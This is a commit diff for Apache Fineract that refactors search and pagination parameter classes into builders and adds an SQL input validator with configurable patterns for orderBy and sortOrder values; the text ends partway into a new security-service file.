FINERACT-2076: SQL query optimization

This commit is contained in:
Aleksandar Vidakovic
2024-04-25 14:08:04 +02:00
committed by Aleksandar Vidakovic
parent 039bca440b
commit a022a51189
85 changed files with 1186 additions and 1193 deletions
@@ -147,7 +147,8 @@ public class ProvisioningEntriesApiResource {
@QueryParam("productId") final Long productId, @QueryParam("categoryId") final Long categoryId, @QueryParam("productId") final Long productId, @QueryParam("categoryId") final Long categoryId,
@Context final UriInfo uriInfo) { @Context final UriInfo uriInfo) {
this.platformSecurityContext.authenticatedUser(); this.platformSecurityContext.authenticatedUser();
SearchParameters params = SearchParameters.forProvisioningEntries(entryId, officeId, productId, categoryId, offset, limit); SearchParameters params = SearchParameters.builder().limit(limit).offset(offset).provisioningEntryId(entryId).officeId(officeId)
.productId(productId).categoryId(categoryId).build();
Page<LoanProductProvisioningEntryData> entries = this.provisioningEntriesReadPlatformService.retrieveProvisioningEntries(params); Page<LoanProductProvisioningEntryData> entries = this.provisioningEntriesReadPlatformService.retrieveProvisioningEntries(params);
final ApiRequestJsonSerializationSettings settings = this.apiRequestParameterHelper.process(uriInfo.getQueryParameters()); final ApiRequestJsonSerializationSettings settings = this.apiRequestParameterHelper.process(uriInfo.getQueryParameters());
return this.entriesApiJsonSerializer.serialize(settings, entries, PROVISIONING_ENTRY_PARAMETERS); return this.entriesApiJsonSerializer.serialize(settings, entries, PROVISIONING_ENTRY_PARAMETERS);
@@ -319,33 +319,33 @@ public class ProvisioningEntriesReadPlatformServiceImpl implements ProvisioningE
String whereClose = " where "; String whereClose = " where ";
List<Object> items = new ArrayList<>(); List<Object> items = new ArrayList<>();
if (searchParams.isProvisioningEntryIdPassed()) { if (searchParams.hasProvisioningEntryId()) {
sqlBuilder.append(whereClose + " entry.history_id = ?"); sqlBuilder.append(whereClose + " entry.history_id = ?");
items.add(searchParams.getProvisioningEntryId()); items.add(searchParams.getProvisioningEntryId());
whereClose = " and "; whereClose = " and ";
} }
if (searchParams.isOfficeIdPassed()) { if (searchParams.hasOfficeId()) {
sqlBuilder.append(whereClose + " entry.office_id = ?"); sqlBuilder.append(whereClose + " entry.office_id = ?");
items.add(searchParams.getOfficeId()); items.add(searchParams.getOfficeId());
whereClose = " and "; whereClose = " and ";
} }
if (searchParams.isProductIdPassed()) { if (searchParams.hasProductId()) {
sqlBuilder.append(whereClose + " entry.product_id = ?"); sqlBuilder.append(whereClose + " entry.product_id = ?");
items.add(searchParams.getProductId()); items.add(searchParams.getProductId());
whereClose = " and "; whereClose = " and ";
} }
if (searchParams.isCategoryIdPassed()) { if (searchParams.hasCategoryId()) {
sqlBuilder.append(whereClose + " entry.category_id = ?"); sqlBuilder.append(whereClose + " entry.category_id = ?");
items.add(searchParams.getCategoryId()); items.add(searchParams.getCategoryId());
} }
sqlBuilder.append(" order by entry.id"); sqlBuilder.append(" order by entry.id");
if (searchParams.isLimited()) { if (searchParams.hasLimit()) {
sqlBuilder.append(" limit ").append(searchParams.getLimit()); sqlBuilder.append(" limit ").append(searchParams.getLimit());
if (searchParams.isOffset()) { if (searchParams.hasOffset()) {
sqlBuilder.append(" offset ").append(searchParams.getOffset()); sqlBuilder.append(" offset ").append(searchParams.getOffset());
} }
} }
@@ -50,6 +50,7 @@ import org.apache.fineract.infrastructure.core.service.DateUtils;
import org.apache.fineract.infrastructure.core.service.Page; import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.core.service.SearchParameters; import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext; import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.organisation.teller.data.CashierData; import org.apache.fineract.organisation.teller.data.CashierData;
import org.apache.fineract.organisation.teller.data.CashierTransactionData; import org.apache.fineract.organisation.teller.data.CashierTransactionData;
import org.apache.fineract.organisation.teller.data.CashierTransactionsWithSummaryData; import org.apache.fineract.organisation.teller.data.CashierTransactionsWithSummaryData;
@@ -70,6 +71,7 @@ public class TellerApiResource {
private final DefaultToApiJsonSerializer<TellerData> jsonSerializer; private final DefaultToApiJsonSerializer<TellerData> jsonSerializer;
private final TellerManagementReadPlatformService readPlatformService; private final TellerManagementReadPlatformService readPlatformService;
private final PortfolioCommandSourceWritePlatformService commandWritePlatformService; private final PortfolioCommandSourceWritePlatformService commandWritePlatformService;
private final SqlValidator sqlValidator;
@GET @GET
@Consumes({ MediaType.TEXT_HTML, MediaType.APPLICATION_JSON }) @Consumes({ MediaType.TEXT_HTML, MediaType.APPLICATION_JSON })
@@ -315,7 +317,10 @@ public class TellerApiResource {
final LocalDate fromDate = null; final LocalDate fromDate = null;
final LocalDate toDate = null; final LocalDate toDate = null;
final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit, orderBy, sortOrder); sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
.sortOrder(sortOrder).build();
final Page<CashierTransactionData> cashierTxns = this.readPlatformService.retrieveCashierTransactions(cashierId, false, fromDate, final Page<CashierTransactionData> cashierTxns = this.readPlatformService.retrieveCashierTransactions(cashierId, false, fromDate,
toDate, currencyCode, searchParameters); toDate, currencyCode, searchParameters);
@@ -344,7 +349,10 @@ public class TellerApiResource {
final LocalDate fromDate = null; final LocalDate fromDate = null;
final LocalDate toDate = null; final LocalDate toDate = null;
final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit, orderBy, sortOrder); sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
.sortOrder(sortOrder).build();
final CashierTransactionsWithSummaryData cashierTxnWithSummary = this.readPlatformService final CashierTransactionsWithSummaryData cashierTxnWithSummary = this.readPlatformService
.retrieveCashierTransactionsWithSummary(cashierId, false, fromDate, toDate, currencyCode, searchParameters); .retrieveCashierTransactionsWithSummary(cashierId, false, fromDate, toDate, currencyCode, searchParameters);
@@ -56,15 +56,9 @@ public class CashierTransactionDataValidator {
} }
public void validateSettleCashAndCashOutTransactions(final Long cashierId, String currencyCode, final BigDecimal transactionAmount) { public void validateSettleCashAndCashOutTransactions(final Long cashierId, String currencyCode, final BigDecimal transactionAmount) {
final Integer offset = null; final SearchParameters searchParameters = SearchParameters.builder().build();
final Integer limit = null;
final String orderBy = null;
final String sortOrder = null;
final LocalDate fromDate = null;
final LocalDate toDate = null;
final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit, orderBy, sortOrder);
final CashierTransactionsWithSummaryData cashierTxnWithSummary = this.tellerManagementReadPlatformService final CashierTransactionsWithSummaryData cashierTxnWithSummary = this.tellerManagementReadPlatformService
.retrieveCashierTransactionsWithSummary(cashierId, false, fromDate, toDate, currencyCode, searchParameters); .retrieveCashierTransactionsWithSummary(cashierId, false, null, null, currencyCode, searchParameters);
if (MathUtil.isGreaterThan(transactionAmount, cashierTxnWithSummary.getNetCash())) { if (MathUtil.isGreaterThan(transactionAmount, cashierTxnWithSummary.getNetCash())) {
throw new CashierInsufficientAmountException(); throw new CashierInsufficientAmountException();
} }
@@ -76,6 +76,8 @@ public class FineractProperties {
private FineractModulesProperties module; private FineractModulesProperties module;
private FineractSqlValidationProperties sqlValidation;
@Getter @Getter
@Setter @Setter
public static class FineractTenantProperties { public static class FineractTenantProperties {
@@ -533,4 +535,38 @@ public class FineractProperties {
public static class FineractInvestorModuleProperties extends AbstractFineractModuleProperties { public static class FineractInvestorModuleProperties extends AbstractFineractModuleProperties {
} }
@Getter
@Setter
public static class FineractSqlValidationProperties {
private List<FineractSqlValidationPatternProperties> patterns;
private List<FineractSqlValidationProfileProperties> profiles;
}
@Getter
@Setter
public static class FineractSqlValidationProfileProperties {
private String name;
private String description;
private List<FineractSqlValidationPatternReferenceProperties> patternRefs;
private Boolean enabled = true;
}
@Getter
@Setter
public static class FineractSqlValidationPatternReferenceProperties {
private String name;
private Integer order;
}
@Getter
@Setter
public static class FineractSqlValidationPatternProperties {
private String name;
private String pattern;
}
} }
@@ -18,101 +18,62 @@
*/ */
package org.apache.fineract.infrastructure.core.data; package org.apache.fineract.infrastructure.core.data;
import lombok.AccessLevel;
import lombok.Builder;
import lombok.Getter;
import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.StringUtils;
import org.apache.fineract.infrastructure.security.utils.SQLInjectionValidator;
/** @Builder
* <p> @Getter
* Immutable data object representing pagination parameter values. public class PaginationParameters {
* </p>
*/
public final class PaginationParameters {
private final boolean paged; // TODO: why do we really need this class? SearchParameters seems to provide similar functionality
private final Integer offset;
private final Integer limit;
private final String orderBy;
private final String sortOrder;
public static PaginationParameters instance(Boolean paged, Integer offset, Integer limit, String orderBy, String sortOrder) { public static final int DEFAULT_MAX_LIMIT = 200;
if (null == paged) {
paged = false;
}
final Integer maxLimitAllowed = getCheckedLimit(limit); private boolean paged;
private Integer offset;
return new PaginationParameters(paged, offset, maxLimitAllowed, orderBy, sortOrder); @Getter(AccessLevel.NONE)
} private Integer limit;
private String orderBy;
private PaginationParameters(boolean paged, Integer offset, Integer limit, String orderBy, String sortOrder) { private String sortOrder;
SQLInjectionValidator.validateSQLInput(orderBy);
SQLInjectionValidator.validateSQLInput(sortOrder);
this.paged = paged;
this.offset = offset;
this.limit = limit;
this.orderBy = orderBy;
this.sortOrder = sortOrder;
}
public static Integer getCheckedLimit(final Integer limit) {
final Integer maxLimitAllowed = 200;
// default to max limit first off
Integer checkedLimit = maxLimitAllowed;
if (limit != null && limit > 0) {
checkedLimit = limit;
} else if (limit != null) {
// unlimited case: limit provided and 0 or less
checkedLimit = null;
}
return checkedLimit;
}
public boolean isPaged() {
return this.paged;
}
public Integer getOffset() {
return this.offset;
}
public Integer getLimit() { public Integer getLimit() {
return this.limit; if (limit == null) {
return DEFAULT_MAX_LIMIT;
}
if (limit > 0) {
return limit;
}
return null; // unlimited (0 or less)
} }
public String getOrderBy() { public boolean hasOrderBy() {
return this.orderBy;
}
public String getSortOrder() {
return this.sortOrder;
}
public boolean isOrderByRequested() {
return StringUtils.isNotBlank(this.orderBy); return StringUtils.isNotBlank(this.orderBy);
} }
public boolean isSortOrderProvided() { public boolean hasSortOrder() {
return StringUtils.isNotBlank(this.sortOrder); return StringUtils.isNotBlank(this.sortOrder);
} }
public boolean isLimited() { public boolean hasLimit() {
return this.limit != null && this.limit.intValue() > 0; return this.limit != null && this.limit > 0;
} }
public boolean isOffset() { public boolean hasOffset() {
return this.offset != null; return this.offset != null;
} }
// TODO: following functions are just doing too much in one place; will disappear with type safe queries
public String orderBySql() { public String orderBySql() {
final StringBuilder sql = new StringBuilder(); final StringBuilder sql = new StringBuilder();
if (this.isOrderByRequested()) { if (this.hasOrderBy()) {
sql.append(" order by ").append(this.getOrderBy()); sql.append(" order by ").append(this.getOrderBy());
if (this.isSortOrderProvided()) { if (this.hasSortOrder()) {
sql.append(' ').append(this.getSortOrder()); sql.append(' ').append(this.getSortOrder());
} }
} }
@@ -121,9 +82,9 @@ public final class PaginationParameters {
public String limitSql() { public String limitSql() {
final StringBuilder sql = new StringBuilder(); final StringBuilder sql = new StringBuilder();
if (this.isLimited()) { if (this.hasLimit()) {
sql.append(" limit ").append(this.getLimit()); sql.append(" limit ").append(this.getLimit());
if (this.isOffset()) { if (this.hasOffset()) {
sql.append(" offset ").append(this.getOffset()); sql.append(" offset ").append(this.getOffset());
} }
} }
@@ -132,10 +93,10 @@ public final class PaginationParameters {
public String paginationSql() { public String paginationSql() {
final StringBuilder sqlBuilder = new StringBuilder(50); final StringBuilder sqlBuilder = new StringBuilder(50);
if (this.isOrderByRequested()) { if (this.hasOrderBy()) {
sqlBuilder.append(' ').append(this.orderBySql()); sqlBuilder.append(' ').append(this.orderBySql());
} }
if (this.isLimited()) { if (this.hasLimit()) {
sqlBuilder.append(' ').append(this.limitSql()); sqlBuilder.append(' ').append(this.limitSql());
} }
@@ -34,7 +34,7 @@ public class PaginationParametersDataValidator {
public void validateParameterValues(PaginationParameters parameters, final Set<String> supportedOrdeByValues, public void validateParameterValues(PaginationParameters parameters, final Set<String> supportedOrdeByValues,
final String resourceName) { final String resourceName) {
final List<ApiParameterError> dataValidationErrors = new ArrayList<>(); final List<ApiParameterError> dataValidationErrors = new ArrayList<>();
if (parameters.isOrderByRequested() && !supportedOrdeByValues.contains(parameters.getOrderBy())) { if (parameters.hasOrderBy() && !supportedOrdeByValues.contains(parameters.getOrderBy())) {
final String defaultUserMessage = "The orderBy value '" + parameters.getOrderBy() final String defaultUserMessage = "The orderBy value '" + parameters.getOrderBy()
+ "' is not supported. The supported orderBy values are " + supportedOrdeByValues; + "' is not supported. The supported orderBy values are " + supportedOrdeByValues;
final ApiParameterError error = ApiParameterError.parameterError( final ApiParameterError error = ApiParameterError.parameterError(
@@ -43,7 +43,7 @@ public class PaginationParametersDataValidator {
dataValidationErrors.add(error); dataValidationErrors.add(error);
} }
if (parameters.isSortOrderProvided() && !sortOrderValues.contains(parameters.getSortOrder().toUpperCase())) { if (parameters.hasSortOrder() && !sortOrderValues.contains(parameters.getSortOrder().toUpperCase())) {
final String defaultUserMessage = "The sortOrder value '" + parameters.getSortOrder() final String defaultUserMessage = "The sortOrder value '" + parameters.getSortOrder()
+ "' is not supported. The supported sortOrder values are " + sortOrderValues; + "' is not supported. The supported sortOrder values are " + sortOrderValues;
final ApiParameterError error = ApiParameterError.parameterError( final ApiParameterError error = ApiParameterError.parameterError(
@@ -18,518 +18,113 @@
*/ */
package org.apache.fineract.infrastructure.core.service; package org.apache.fineract.infrastructure.core.service;
import lombok.AccessLevel;
import lombok.AllArgsConstructor; import lombok.AllArgsConstructor;
import lombok.Builder; import lombok.Builder;
import lombok.Getter;
import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.StringUtils;
@Builder @Builder
@Getter
@AllArgsConstructor @AllArgsConstructor
public final class SearchParameters { public class SearchParameters {
private final Long officeId; public static final int DEFAULT_MAX_LIMIT = 200;
private final String externalId;
private final String name;
private final String hierarchy;
private final String firstname;
private final String lastname;
private final String status;
private final Integer offset;
private final Integer limit;
private final String orderBy;
private final String sortOrder;
private final String accountNo;
private final String currencyCode;
private final Long staffId; private Long officeId;
private String externalId;
private String name;
private String hierarchy;
private String firstname;
private String lastname;
private String status;
private Integer offset;
@Getter(AccessLevel.NONE)
private Integer limit;
private String orderBy;
private String sortOrder;
private String accountNo;
private String currencyCode;
private Long staffId;
private Long loanId;
private Long savingsId;
@Getter(AccessLevel.NONE)
private Boolean orphansOnly;
private Long provisioningEntryId;
private Long productId;
private Long categoryId;
@Getter(AccessLevel.NONE)
private Boolean isSelfUser;
private final Long loanId; public Integer getLimit() {
if (limit == null) {
return DEFAULT_MAX_LIMIT;
}
private final Long savingsId; if (limit > 0) {
private final Boolean orphansOnly; return limit;
}
// Provisioning Entries Search Params return null; // unlimited (0 or less)
private final Long provisioningEntryId;
private final Long productId;
private final Long categoryId;
private final boolean isSelfUser;
public static SearchParameters from(final Long officeId, final String externalId, final String name, final String hierarchy) {
final Long staffId = null;
final String accountNo = null;
final Long loanId = null;
final Long savingsId = null;
final Boolean orphansOnly = false;
final boolean isSelfUser = false;
return new SearchParameters(officeId, externalId, name, hierarchy, null, null, null, null, null, null, staffId, accountNo, loanId,
savingsId, orphansOnly, isSelfUser);
} }
public static SearchParameters forClients(final Long officeId, final String externalId, final String displayName, public Boolean getOrphansOnly() {
final String firstname, final String lastname, final String status, final String hierarchy, final Integer offset, return Boolean.TRUE.equals(orphansOnly);
final Integer limit, final String orderBy, final String sortOrder, final Boolean orphansOnly, final boolean isSelfUser) {
final Integer maxLimitAllowed = getCheckedLimit(limit);
final Long staffId = null;
final String accountNo = null;
final Long loanId = null;
final Long savingsId = null;
return new SearchParameters(officeId, externalId, displayName, hierarchy, firstname, lastname, status, offset, maxLimitAllowed,
orderBy, sortOrder, staffId, accountNo, loanId, savingsId, orphansOnly, isSelfUser);
} }
public static SearchParameters forGroups(final Long officeId, final Long staffId, final String externalId, final String name, public Boolean getIsSelfUser() {
final String hierarchy, final Integer offset, final Integer limit, final String orderBy, final String sortOrder, return Boolean.TRUE.equals(isSelfUser);
final Boolean orphansOnly) {
final Integer maxLimitAllowed = getCheckedLimit(limit);
final String accountNo = null;
final Long loanId = null;
final Long savingsId = null;
final boolean isSelfUser = false;
return new SearchParameters(officeId, externalId, name, hierarchy, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId,
accountNo, loanId, savingsId, orphansOnly, isSelfUser);
} }
public static SearchParameters forOffices(final String orderBy, final String sortOrder) { public boolean hasOrderBy() {
final Boolean orphansOnly = false;
final boolean isSelfUser = false;
return new SearchParameters(null, null, null, null, null, null, null, null, orderBy, sortOrder, null, null, null, null, orphansOnly,
isSelfUser);
}
public static SearchParameters forLoans(final String externalId, final Integer offset, final Integer limit, final String orderBy,
final String sortOrder, final String accountNo) {
final Integer maxLimitAllowed = getCheckedLimit(limit);
final Long staffId = null;
final Long loanId = null;
final Long savingsId = null;
final Boolean orphansOnly = false;
final boolean isSelfUser = false;
return new SearchParameters(null, externalId, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId,
accountNo, loanId, savingsId, orphansOnly, isSelfUser);
}
public static SearchParameters forJournalEntries(final Long officeId, final Integer offset, final Integer limit, final String orderBy,
final String sortOrder, final Long loanId, final Long savingsId) {
final Integer maxLimitAllowed = getCheckedLimit(limit);
final Long staffId = null;
final Boolean orphansOnly = false;
final boolean isSelfUser = false;
return new SearchParameters(officeId, null, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId, null,
loanId, savingsId, orphansOnly, isSelfUser);
}
public static SearchParameters forJournalEntries(final Long officeId, final Integer offset, final Integer limit, final String orderBy,
final String sortOrder, final Long loanId, final Long savingsId, final String currencyCode) {
final Integer maxLimitAllowed = getCheckedLimit(limit);
final Long staffId = null;
final Boolean orphansOnly = false;
return new SearchParameters(officeId, null, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId, null,
loanId, savingsId, orphansOnly, currencyCode);
}
public static SearchParameters forPagination(final Integer offset, final Integer limit, final String orderBy, final String sortOrder) {
final Integer maxLimitAllowed = getCheckedLimit(limit);
final Long staffId = null;
final Long loanId = null;
final Long savingsId = null;
final Boolean orphansOnly = false;
final boolean isSelfUser = false;
return new SearchParameters(null, null, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId, null, loanId,
savingsId, orphansOnly, isSelfUser);
}
public static SearchParameters forPaginationAndAccountNumberSearch(final Integer offset, final Integer limit, final String orderBy,
final String sortOrder, final String accountNumber) {
final Integer maxLimitAllowed = getCheckedLimit(limit);
final Long staffId = null;
final Long loanId = null;
final Long savingsId = null;
final Boolean orphansOnly = false;
final boolean isSelfUser = false;
return new SearchParameters(null, null, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId, accountNumber,
loanId, savingsId, orphansOnly, isSelfUser);
}
public static SearchParameters forPagination(final Integer offset, final Integer limit) {
final Integer maxLimitAllowed = getCheckedLimit(limit);
final Long staffId = null;
final Long loanId = null;
final Long savingsId = null;
final Boolean orphansOnly = false;
final String orderBy = null;
final String sortOrder = null;
final boolean isSelfUser = false;
return new SearchParameters(null, null, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId, null, loanId,
savingsId, orphansOnly, isSelfUser);
}
public static SearchParameters forProvisioningEntries(final Long provisioningEntryId, final Long officeId, final Long productId,
final Long categoryId, final Integer offset, final Integer limit) {
return new SearchParameters(provisioningEntryId, officeId, productId, categoryId, offset, limit);
}
public static SearchParameters forSavings(final String externalId, final Integer offset, final Integer limit, final String orderBy,
final String sortOrder) {
final Integer maxLimitAllowed = getCheckedLimit(limit);
final Long staffId = null;
final String accountNo = null;
final Long loanId = null;
final Long savingsId = null;
final Boolean orphansOnly = false;
final boolean isSelfUser = false;
return new SearchParameters(null, externalId, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId,
accountNo, loanId, savingsId, orphansOnly, isSelfUser);
}
public static SearchParameters forAccountTransfer(final String externalId, final Integer offset, final Integer limit,
final String orderBy, final String sortOrder) {
final Integer maxLimitAllowed = getCheckedLimit(limit);
final Long staffId = null;
final String accountNo = null;
final Long loanId = null;
final Long savingsId = null;
final Boolean orphansOnly = false;
final boolean isSelfUser = false;
return new SearchParameters(null, externalId, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId,
accountNo, loanId, savingsId, orphansOnly, isSelfUser);
}
public static SearchParameters forSMSCampaign(final Integer offset, final Integer limit, final String orderBy, final String sortOrder) {
final String externalId = null;
final Integer maxLimitAllowed = getCheckedLimit(limit);
final Long staffId = null;
final String accountNo = null;
final Long loanId = null;
final Long savingsId = null;
final Boolean orphansOnly = false;
final boolean isSelfUser = false;
return new SearchParameters(null, externalId, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId,
accountNo, loanId, savingsId, orphansOnly, isSelfUser);
}
public static SearchParameters forEmailCampaign(final Integer offset, final Integer limit, final String orderBy,
final String sortOrder) {
final String externalId = null;
final Integer maxLimitAllowed = getCheckedLimit(limit);
final Long staffId = null;
final String accountNo = null;
final Long loanId = null;
final Long savingsId = null;
final Boolean orphansOnly = false;
final boolean isSelfUser = false;
return new SearchParameters(null, externalId, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId,
accountNo, loanId, savingsId, orphansOnly, isSelfUser);
}
private SearchParameters(final Long officeId, final String externalId, final String name, final String hierarchy,
final String firstname, final String lastname, final String status, final Integer offset, final Integer limit,
final String orderBy, final String sortOrder, final Long staffId, final String accountNo, final Long loanId,
final Long savingsId, final Boolean orphansOnly, boolean isSelfUser) {
this.officeId = officeId;
this.externalId = externalId;
this.name = name;
this.hierarchy = hierarchy;
this.firstname = firstname;
this.lastname = lastname;
this.offset = offset;
this.limit = limit;
this.orderBy = orderBy;
this.sortOrder = sortOrder;
this.staffId = staffId;
this.accountNo = accountNo;
this.loanId = loanId;
this.savingsId = savingsId;
this.orphansOnly = orphansOnly;
this.currencyCode = null;
this.provisioningEntryId = null;
this.productId = null;
this.categoryId = null;
this.isSelfUser = isSelfUser;
this.status = status;
}
private SearchParameters(final Long officeId, final String externalId, final String name, final String hierarchy,
final String firstname, final String lastname, final Integer offset, final Integer limit, final String orderBy,
final String sortOrder, final Long staffId, final String accountNo, final Long loanId, final Long savingsId,
final Boolean orphansOnly, boolean isSelfUser) {
this.officeId = officeId;
this.externalId = externalId;
this.name = name;
this.hierarchy = hierarchy;
this.firstname = firstname;
this.lastname = lastname;
this.offset = offset;
this.limit = limit;
this.orderBy = orderBy;
this.sortOrder = sortOrder;
this.staffId = staffId;
this.accountNo = accountNo;
this.loanId = loanId;
this.savingsId = savingsId;
this.orphansOnly = orphansOnly;
this.currencyCode = null;
this.provisioningEntryId = null;
this.productId = null;
this.categoryId = null;
this.isSelfUser = isSelfUser;
this.status = null;
}
private SearchParameters(final Long provisioningEntryId, final Long officeId, final Long productId, final Long categoryId,
final Integer offset, final Integer limit) {
this.externalId = null;
this.name = null;
this.hierarchy = null;
this.firstname = null;
this.lastname = null;
this.orderBy = null;
this.sortOrder = null;
this.staffId = null;
this.accountNo = null;
this.loanId = null;
this.savingsId = null;
this.orphansOnly = null;
this.currencyCode = null;
this.officeId = officeId;
this.offset = offset;
this.limit = limit;
this.provisioningEntryId = provisioningEntryId;
this.productId = productId;
this.categoryId = categoryId;
this.isSelfUser = false;
this.status = null;
}
public SearchParameters(final Long officeId, final String externalId, final String name, final String hierarchy, final String firstname,
final String lastname, final Integer offset, final Integer limit, final String orderBy, final String sortOrder,
final Long staffId, final String accountNo, final Long loanId, final Long savingsId, final Boolean orphansOnly,
final String currencyCode) {
this.officeId = officeId;
this.externalId = externalId;
this.name = name;
this.hierarchy = hierarchy;
this.firstname = firstname;
this.lastname = lastname;
this.offset = offset;
this.limit = limit;
this.orderBy = orderBy;
this.sortOrder = sortOrder;
this.staffId = staffId;
this.accountNo = accountNo;
this.loanId = loanId;
this.savingsId = savingsId;
this.orphansOnly = orphansOnly;
this.currencyCode = currencyCode;
this.provisioningEntryId = null;
this.productId = null;
this.categoryId = null;
this.isSelfUser = false;
this.status = null;
}
public boolean isOrderByRequested() {
return StringUtils.isNotBlank(this.orderBy); return StringUtils.isNotBlank(this.orderBy);
} }
public boolean isSortOrderProvided() { public boolean hasSortOrder() {
return StringUtils.isNotBlank(this.sortOrder); return StringUtils.isNotBlank(this.sortOrder);
} }
public static Integer getCheckedLimit(final Integer limit) { public boolean hasOfficeId() {
final Integer maxLimitAllowed = 200;
// default to max limit first off
Integer checkedLimit = maxLimitAllowed;
if (limit != null && limit > 0) {
checkedLimit = limit;
} else if (limit != null) {
// unlimited case: limit provided and 0 or less
checkedLimit = null;
}
return checkedLimit;
}
public boolean isOfficeIdPassed() {
return this.officeId != null && this.officeId != 0; return this.officeId != null && this.officeId != 0;
} }
public boolean isCurrencyCodePassed() { public boolean hasCurrencyCode() {
return this.currencyCode != null; return StringUtils.isNotBlank(this.currencyCode);
} }
public boolean isLimited() { public boolean hasLimit() {
return this.limit != null && this.limit.intValue() > 0; return this.limit != null && this.limit > 0;
} }
public boolean isOffset() { public boolean hasOffset() {
return this.offset != null; return this.offset != null;
} }
public boolean isScopedByOfficeHierarchy() { public boolean hasHierarchy() {
return StringUtils.isNotBlank(this.hierarchy); return StringUtils.isNotBlank(this.hierarchy);
} }
public Long getOfficeId() { public boolean hasStaffId() {
return this.officeId;
}
public String getCurrencyCode() {
return this.currencyCode;
}
public String getExternalId() {
return this.externalId;
}
public String getName() {
return this.name;
}
public String getHierarchy() {
return this.hierarchy;
}
public String getFirstname() {
return this.firstname;
}
public String getLastname() {
return this.lastname;
}
public String getStatus() {
return this.status;
}
public Integer getOffset() {
return this.offset;
}
public Integer getLimit() {
return this.limit;
}
public String getOrderBy() {
return this.orderBy;
}
public String getSortOrder() {
return this.sortOrder;
}
public boolean isStaffIdPassed() {
return this.staffId != null && this.staffId != 0; return this.staffId != null && this.staffId != 0;
} }
public Long getStaffId() { public boolean hasLoanId() {
return this.staffId;
}
public String getAccountNo() {
return this.accountNo;
}
public boolean isLoanIdPassed() {
return this.loanId != null && this.loanId != 0; return this.loanId != null && this.loanId != 0;
} }
public boolean isSavingsIdPassed() { public boolean hasSavingsId() {
return this.savingsId != null && this.savingsId != 0; return this.savingsId != null && this.savingsId != 0;
} }
public Long getLoanId() { public boolean hasProvisioningEntryId() {
return this.loanId;
}
public Long getSavingsId() {
return this.savingsId;
}
public Boolean isOrphansOnly() {
if (this.orphansOnly != null) {
return this.orphansOnly;
}
return false;
}
public Long getProvisioningEntryId() {
return this.provisioningEntryId;
}
public boolean isProvisioningEntryIdPassed() {
return this.provisioningEntryId != null && this.provisioningEntryId != 0; return this.provisioningEntryId != null && this.provisioningEntryId != 0;
} }
public Long getProductId() { public boolean hasProductId() {
return this.productId;
}
public boolean isProductIdPassed() {
return this.productId != null && this.productId != 0; return this.productId != null && this.productId != 0;
} }
public Long getCategoryId() { public boolean hasCategoryId() {
return this.categoryId;
}
public boolean isCategoryIdPassed() {
return this.categoryId != null && this.categoryId != 0; return this.categoryId != null && this.categoryId != 0;
} }
public boolean isSelfUser() {
return this.isSelfUser;
}
/**
* creates an instance of the SearchParameters from a request for the report mailing job run history
*
* @return SearchParameters object
**/
public static SearchParameters fromReportMailingJobRunHistory(final Integer offset, final Integer limit, final String orderBy,
final String sortOrder) {
final Integer maxLimitAllowed = getCheckedLimit(limit);
return new SearchParameters(null, null, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, null, null, null, null,
null, false);
}
/**
* creates an instance of the {@link SearchParameters} from a request for the report mailing job
*
* @return {@link SearchParameters} object
*/
public static SearchParameters fromReportMailingJob(final Integer offset, final Integer limit, final String orderBy,
final String sortOrder) {
final Integer maxLimitAllowed = getCheckedLimit(limit);
return new SearchParameters(null, null, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, null, null, null, null,
null, false);
}
} }
@@ -0,0 +1,30 @@
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.fineract.infrastructure.security.exception;
import lombok.Getter;
import org.apache.fineract.infrastructure.core.exception.AbstractPlatformDomainRuleException;
@Getter
public class SqlValidationException extends AbstractPlatformDomainRuleException {
public SqlValidationException(final String message) {
super("error.msg.sql.validation", "SQL validation error: " + message);
}
}
@@ -0,0 +1,28 @@
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.fineract.infrastructure.security.service;
import org.apache.fineract.infrastructure.security.exception.SqlValidationException;
